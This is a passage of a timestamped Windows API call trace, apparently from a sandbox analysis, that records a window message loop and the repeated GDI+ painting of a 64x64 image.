returned 1 [0167.361] IsWindowUnicode (hWnd=0x2031e) returned 1 [0167.361] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.361] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.361] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.361] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0167.361] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0167.362] CreateCompatibleDC (hdc=0x1010b9d) returned 0x470106c6 [0167.362] SelectObject (hdc=0x470106c6, h=0x1a05067e) returned 0x185000f [0167.362] GdipCreateFromHDC (hdc=0x470106c6, graphics=0x15daf0) returned 0x0 [0167.362] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0167.362] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0167.362] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0167.362] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0167.362] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0167.362] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.362] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0167.363] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.363] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.363] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0167.363] GdipCreateRegion (region=0x15dc20) returned 0x0 [0167.363] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0167.363] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0167.364] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0167.364] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0167.364] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.364] GetSystemMetrics (nIndex=42) returned 0 [0167.364] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0167.364] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0167.364] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0167.364] CoTaskMemFree (pv=0x1e91eca0) [0167.364] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0167.364] GdipCreateRegion (region=0x15d710) returned 0x0 [0167.364] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0167.364] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0167.364] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0167.365] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0167.365] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.365] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0167.365] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.365] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0167.365] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.365] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0167.366] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.366] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.366] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0167.366] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0167.366] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0167.366] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0167.366] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.366] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0167.367] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0167.367] GetCurrentObject (hdc=0x470106c6, type=0x1) returned 0x1b00017 [0167.367] GetCurrentObject (hdc=0x470106c6, type=0x2) returned 0x1900010 [0167.367] GetCurrentObject (hdc=0x470106c6, type=0x7) returned 0x1a05067e [0167.367] GetCurrentObject (hdc=0x470106c6, type=0x6) returned 0x18a002e [0167.367] SaveDC (hdc=0x470106c6) returned 1 [0167.367] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7040b8a [0167.367] GetClipRgn (hdc=0x470106c6, hrgn=0x7040b8a) returned 0 [0167.367] SelectClipRgn (hdc=0x470106c6, hrgn=0x370407c3) returned 2 [0167.367] DeleteObject (ho=0x7040b8a) returned 1 [0167.368] DeleteObject (ho=0x370407c3) returned 1 [0167.368] OffsetViewportOrgEx (in: hdc=0x470106c6, x=0, y=0, lppt=0x27331e0 | out: lppt=0x27331e0) returned 1 [0167.368] GetNearestColor (hdc=0x470106c6, color=0xffffff) returned 0xffffff [0167.368] CreateSolidBrush (color=0xffffff) returned 0xf100190 [0167.368] FillRect (hDC=0x470106c6, lprc=0x15d7c0, hbr=0xf100190) returned 1 [0167.368] DeleteObject (ho=0xf100190) returned 1 [0167.368] RestoreDC (hdc=0x470106c6, nSavedDC=-1) returned 1 [0167.368] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.369] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x470106c6) returned 0x0 [0167.369] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbc80dbd) returned 0x0 [0167.369] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.369] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0167.369] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0167.369] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.369] GetSystemMetrics (nIndex=42) returned 0 [0167.369] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0167.369] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0167.369] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0167.369] CoTaskMemFree (pv=0x1e91eca0) [0167.369] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x6) returned 0x0 [0167.372] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0167.372] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0167.372] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0167.372] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0167.372] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x470106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0167.372] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.373] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x470106c6) returned 0x0 [0167.373] SelectObject (hdc=0x470106c6, h=0x185000f) returned 0x1a05067e [0167.373] DeleteDC (hdc=0x470106c6) returned 1 [0167.373] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.373] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0167.373] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0167.373] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0167.373] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.373] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.373] WaitMessage () returned 1 [0167.414] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.415] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x14d0356) returned 0x12 [0167.415] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.415] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.415] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x14d0356) returned 0x12 [0167.415] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.415] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.415] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.415] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x14d0356) returned 0x0 [0167.415] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.415] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.415] WaitMessage () returned 1 [0167.440] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.440] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1570356) returned 0x12 [0167.440] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.440] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.440] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1570356) returned 0x12 [0167.440] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.440] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.440] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.441] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1570356) returned 0x0 [0167.441] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.441] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.441] WaitMessage () returned 1 [0167.530] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.530] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1610356) returned 0x12 [0167.530] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.530] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.530] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1610356) returned 0x12 [0167.530] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.530] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.530] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.530] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1610356) returned 0x0 [0167.530] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.530] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.530] WaitMessage () returned 1 [0167.548] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.548] IsWindowUnicode (hWnd=0x2031e) returned 1 [0167.548] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.548] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.548] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.549] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0167.549] GetCurrentThreadId () returned 0xec0 [0167.549] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0167.549] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.549] IsWindowUnicode (hWnd=0x2031e) returned 1 [0167.549] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.549] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.549] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.549] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0167.549] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0167.550] CreateCompatibleDC (hdc=0x1010b9d) returned 0x480106c6 [0167.550] SelectObject (hdc=0x480106c6, h=0x1a05067e) returned 0x185000f [0167.550] GdipCreateFromHDC (hdc=0x480106c6, graphics=0x15daf0) returned 0x0 [0167.550] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0167.550] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0167.550] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0167.550] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0167.550] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0167.550] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.550] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0167.551] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.551] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.551] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0167.551] GdipCreateRegion (region=0x15dc20) returned 0x0 [0167.551] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0167.551] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0167.551] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0167.551] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0167.552] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.552] GetSystemMetrics (nIndex=42) returned 0 [0167.552] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0167.552] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0167.552] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0167.552] CoTaskMemFree (pv=0x1e91eca0) [0167.552] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0167.552] GdipCreateRegion (region=0x15d710) returned 0x0 [0167.552] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0167.552] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0167.552] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0167.553] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0167.553] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.553] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0167.553] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.553] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0167.553] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0167.553] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0167.554] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0167.554] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.554] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0167.554] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0167.554] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0167.554] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0167.554] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.554] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0167.554] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0167.554] GetCurrentObject (hdc=0x480106c6, type=0x1) returned 0x1b00017 [0167.554] GetCurrentObject (hdc=0x480106c6, type=0x2) returned 0x1900010 [0167.555] GetCurrentObject (hdc=0x480106c6, type=0x7) returned 0x1a05067e [0167.555] GetCurrentObject (hdc=0x480106c6, type=0x6) returned 0x18a002e [0167.555] SaveDC (hdc=0x480106c6) returned 1 [0167.555] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x380407c3 [0167.555] GetClipRgn (hdc=0x480106c6, hrgn=0x380407c3) returned 0 [0167.555] SelectClipRgn (hdc=0x480106c6, hrgn=0x8040b8a) returned 2 [0167.555] DeleteObject (ho=0x380407c3) returned 1 [0167.555] DeleteObject (ho=0x8040b8a) returned 1 [0167.555] OffsetViewportOrgEx (in: hdc=0x480106c6, x=0, y=0, lppt=0x2734590 | out: lppt=0x2734590) returned 1 [0167.555] GetNearestColor (hdc=0x480106c6, color=0xffffff) returned 0xffffff [0167.556] CreateSolidBrush (color=0xffffff) returned 0x10100190 [0167.556] FillRect (hDC=0x480106c6, lprc=0x15d7c0, hbr=0x10100190) returned 1 [0167.556] DeleteObject (ho=0x10100190) returned 1 [0167.556] RestoreDC (hdc=0x480106c6, nSavedDC=-1) returned 1 [0167.556] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.556] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x480106c6) returned 0x0 [0167.556] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffbc60dbd) returned 0x0 [0167.556] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.556] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0167.556] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0167.556] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.556] GetSystemMetrics (nIndex=42) returned 0 [0167.556] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0167.556] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0167.556] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0167.557] CoTaskMemFree (pv=0x1e91eca0) [0167.557] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0167.557] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0167.557] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0167.557] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0167.557] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x480106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0167.557] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.557] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x480106c6) returned 0x0 [0167.557] SelectObject (hdc=0x480106c6, h=0x185000f) returned 0x1a05067e [0167.557] DeleteDC (hdc=0x480106c6) returned 1 [0167.557] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0167.558] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0167.558] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0167.558] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0167.558] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.558] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.558] WaitMessage () returned 1 [0167.559] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.559] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x16b0356) returned 0x12 [0167.559] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.559] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.559] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x16b0356) returned 0x12 [0167.560] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.560] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.560] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.560] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x16b0356) returned 0x0 [0167.560] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.560] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.560] WaitMessage () returned 1 [0167.592] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.592] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1750356) returned 0x12 [0167.593] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.593] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.593] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1750356) returned 0x12 [0167.593] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.593] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.593] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.593] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1750356) returned 0x0 [0167.593] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.593] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.593] WaitMessage () returned 1 [0167.629] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.629] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x17f0356) returned 0x12 [0167.629] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.629] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.629] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x17f0356) returned 0x12 [0167.630] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.630] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.630] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.630] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x17f0356) returned 0x0 [0167.630] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.630] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0167.630] WaitMessage () returned 1 [0167.643] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0167.643] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1890356) returned 0x12 [0167.643] IsWindowUnicode (hWnd=0x702f6) returned 1 [0167.643] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0167.643] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x84, wParam=0x0, lParam=0x1890356) returned 0x12 [0167.643] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x20, wParam=0x702f6, lParam=0x2000012) returned 0x0 [0167.643] TranslateMessage (lpMsg=0x15e910) returned 0 [0167.643] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0167.643] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0xa0, wParam=0x12, lParam=0x1890356) returned 